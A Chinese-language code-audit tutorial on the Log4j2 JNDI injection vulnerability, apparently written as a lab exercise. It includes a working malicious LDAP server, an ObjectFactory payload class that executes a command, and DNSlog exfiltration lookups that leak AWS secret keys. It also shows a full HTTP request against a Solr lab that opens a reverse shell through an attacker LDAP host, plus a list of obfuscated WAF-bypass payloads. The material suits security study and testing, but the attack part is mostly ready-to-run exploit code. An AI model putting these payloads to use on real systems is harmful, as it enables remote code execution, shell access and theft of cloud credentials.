Java代码审计15之Apache log4j2漏洞
文章目录
- 1、log4j简介
- 2、复现
-
-
- 2.1、高版本测试
- 2.2、测试代码
- 2.3、补充之dns探测
-
- 2.3.1、rmi、ldap也可以dnslog探测
- 2.3.2、dnslog外带信息
-
- 3、漏洞原理
-
-
- 3.1、漏洞的危害大的背景
- 3.2、具体的代码调试
-
- 4、靶场测试
-
-
- 4.1、dns探测
- 4.2、工具下载与使用
- 4.3、测试
- 4.4、手工可以测出，部分扫描器扫不到
-
- 5、bypass
1、log4j简介
Apache Log4j2是⼀个基于Java的⽇志记录⼯具。
该⼯具重写了Log4j框架，并且引⼊了⼤量丰富的特性。
该⽇志框架被⼤量⽤于业务系统开发，⽤来记录⽇志信息。
⼤多数情况下，开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中。
因为log4j是一个偏底层的组件，所以许多的服务都受到了影响，
这个漏洞在刚公布的时候，也是引发了相当的轰动，
2、复现
2.1、高版本测试
先说结论，ldap协议，
使用1.8_65和1.8_151都可以直接触发，
也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性
但是1.8_202还是j了，
即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性，也没有发出请求
rmi协议
1.8_65 直接触发
1.8_151 需要设置“com.sun.jndi.rmi.object.trustURLCodebase”属性
1.8_202 J
还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”
这个“exp”区分大小写，要与rmi恶意服务提供的保持一致
2.2、测试代码
先引入组件，
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
main.java
package com.example.demo2;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {
private static final Logger logger =LogManager.getLogger();
public static void main(String[] args) throws Exception {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//ldap://127.0.0.1:7777/Exp
logger.error("${jndi:ldap://127.0.0.1:7777/Exp}");
}
}
这个ldap和恶意类还使用上一节提到的，
ldap_Hack_server.java
package com.example.demo2;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.1.25:8888/#jndiexp"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult
result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
jndiexp.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2; 增加会出错
public class jndiexp implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
2.3、补充之dns探测
2.3.1、rmi、ldap也可以dnslog探测
在使用dnslog探测漏洞的时候，
其实不仅仅dns协议可以，ldap和rmi协议也可以，
类似的rmi，
这里要注意下面，所以rmi协议相比较逊一些，
${jndi:rmi://rmi3.b5ar6g.dnslog.cn 这个后边必须跟一些东西，比如
${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx
但是不是太建议大家使用ldap和rmi毕竟有各种限制，
还是直接使用dnslog比较方便
2.3.2、dnslog外带信息
另一个是dns、rmi、ldap都可以在探测dnslog的时候，外带一些系统的信息，
类似的有以下，各位有空可以试试，笔者未作测试，
这些都是log4j组件中的一个特殊占位符
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
3、漏洞原理
3.1、漏洞的危害大的背景
在log4j刚出来的时候，危害相当大，我们先说下log4j正常的使用背景，
其实这个主要的原因，和日志有关，日志是应用软件中不可缺少的部分，
Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。
最简单的日志打印 我们看如下登录场景：
咱们今天不用关心登录是怎么实现的，只用关心用户名name字段就可以了，代码如下
public void login(string name){
String name = "test"; //表单接收name字段
logger.info("{},登录了", name); //logger为log4j
}
很简单，用户如果登陆了，我们通过表单接收到相关name字段，
然后在日志中记录上这么一条记录。这个看起来是很常规的操作了，
记录日志为什么会导致漏洞呢？这主要就是lookup支持打印系统变量
且name变量是用户输入的，用户输入什么都可以，
假设输入如下，
上述代码会输出，
Windows 7 6.1 Service Pack 1, architecture: amd64-64，登录了
为什么会产生这种奇怪的现象呢？
是因为log4j提供了一个lookup的功能，可以把一些系统变量放到日志中，
比较敏锐的同学可能已经开始察觉到了，现在越来越像sql注入了。
其实这就是jndi注入了，之前我们说过，jndi注入可以利用rmi、ldap协议实现rce
3.2、具体的代码调试
进来先关注，这个log4j的版本，
有的maven会导入多个版本，在测试的时候，进入别的版本
然后每个函数可能会传递很多的参数，其实我们不用管别的，这里盯紧我们可控的参数即message
然后，继续向下跟，都是很短的函数，没有if..else..这种条件结构直接向下走就行，
这个小技巧就是，直接ctrl进到方法的实现，
然后大个断点，然后直接“步过”到断点
一个方法，一个断点，一个“步过”
直到走到1641行，按照我们的估算，下一次是同页面的1572行，
但是当1572行打了断点，“步过”的时候直接访问dnslog/弹窗了
这就说明在1641行不能在“步过”了，需要“步入”
重新来，断点就留到1641，直接debug到这，然后“步入”到87行的log方法，
但是这里有一个新的问题是，遇到if..else..怎么知道进的是哪个，
不知道就都打上断点，再次“步过”
经过测试是进入if，但是这个log方法直接跟进去是一个定义的接口，
所以也不能直接“步过”，继续“步入”，到了27行，
继续跟到这种结构，即if..else..下面还有代码，
这里的重点不是进的 if还是else，重点是最终的漏洞是否在if..else..结构内触发，
假设没有在if..else..语句内触发，那么其实这个if..else...的代码可以忽略，
所以这种，我们直接在下面打断点，看看有没有触发，
假设触发了，我们在重新来一遍定位是if还是else，并继续向下
假设没有触发，我们就直接忽略
继续可以跟到这个107行，记录下
再向下就到这了，
这个循环该到第八次的时候即i=8时，在步过就是9次的时候，直接步入，
因为i=8的时候在步过就会直接弹窗，即漏洞是在第8次触发的
然后跟到这个MessagePatternConverter.class文件，
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
这段代码在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测，
一旦匹配到类似于表达式结构的字符串就会触发替换机制。
然后这个地方是调试的一个重点，
StrSubstitutor.class文件有多个while循环的这个地方触发的，但是正常跟进需要循环很多次，
相当简单的是可以手动修改一些变量的值，这个值可能还是会绕一会，
想绕的可以自己找找具体是在哪触发的，不想的可以看下下面的，
直接将断点打到该文件的418行，然后“步过”到418行，
在这里解析到的字符串已经是“jndi:ldap://127.0.0.1:7777/Exp”
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
到这，log4j将会使用“jndi:ldap://127.0.0.1:7777/Exp”作为lookup参数，进行正常的lookup查询
之前我们说过当lookup函数可控时就会造成rce，所以看到lookup函数且参数可控，一定要警惕，
继续，在这个地方，
通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容（即152行代码）
传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类（156行）
继续，
继续，
笔者到这一步，继续步入就直接弹窗了，
到这，其实还是log4j组件内，即下面应该跳到jdk底层代码的lookup函数，
然后去加载我们的恶意类，但是不知道为什么无法跟进去，先到这把
调试参考：
https://www.anquanke.com/post/id/262668
4、靶场测试
4.1、dns探测
使用vulhub搭建一个靶场，直接poc搞一下dns，
GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
正常情况下，这种地方一般都是burp的插件或者xray或者其他扫描器扫到，
4.2、工具下载与使用
然后就是利用，下载利用工具，
https://github.com/WhiteHSBG/JNDIExploit
kali起来环境，
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x
注意这个IP不要写0.0.0.0；否则会攻击失败
-u可以查看payload，根据不同的框架选择即可，
这个地方也可以加上-i IP
这样出来的payload就不是0.0.0.0而是可以直接利用的了
具体的使用可以看下，工具地址有说明，
4.3、测试
由上面我们直接测试，
一开始使用一些有回显的测试，都没有回显，
然后换直接反弹shell的，
kali起监听，直接拿到shell，
详细请求数据包，
GET /solr/admin/cores?action=${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4.4、手工可以测出，部分扫描器扫不到
其实根据以上的原理，就可以看到，漏洞的触发是需要有打印log这个需求，
但是不是所有的url的所有参数（包含header头参数）都会被打印，
即漏洞的触发点可能只会是在部分uri的部分参数（包含header头参数）
回到问题，为什么有的扫描器扫不到，
着看扫描器实现的原理，假设扫描器是直接拼接了用户给的url，比如根目录
但是根目录没有漏洞的触发点的话，扫不到很正常，
所以想让扫描器覆盖到，笔者想到的就是配合爬虫，
将爬虫爬到每个uri都过一遍
5、bypass
一些流传的bypass姿势，
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}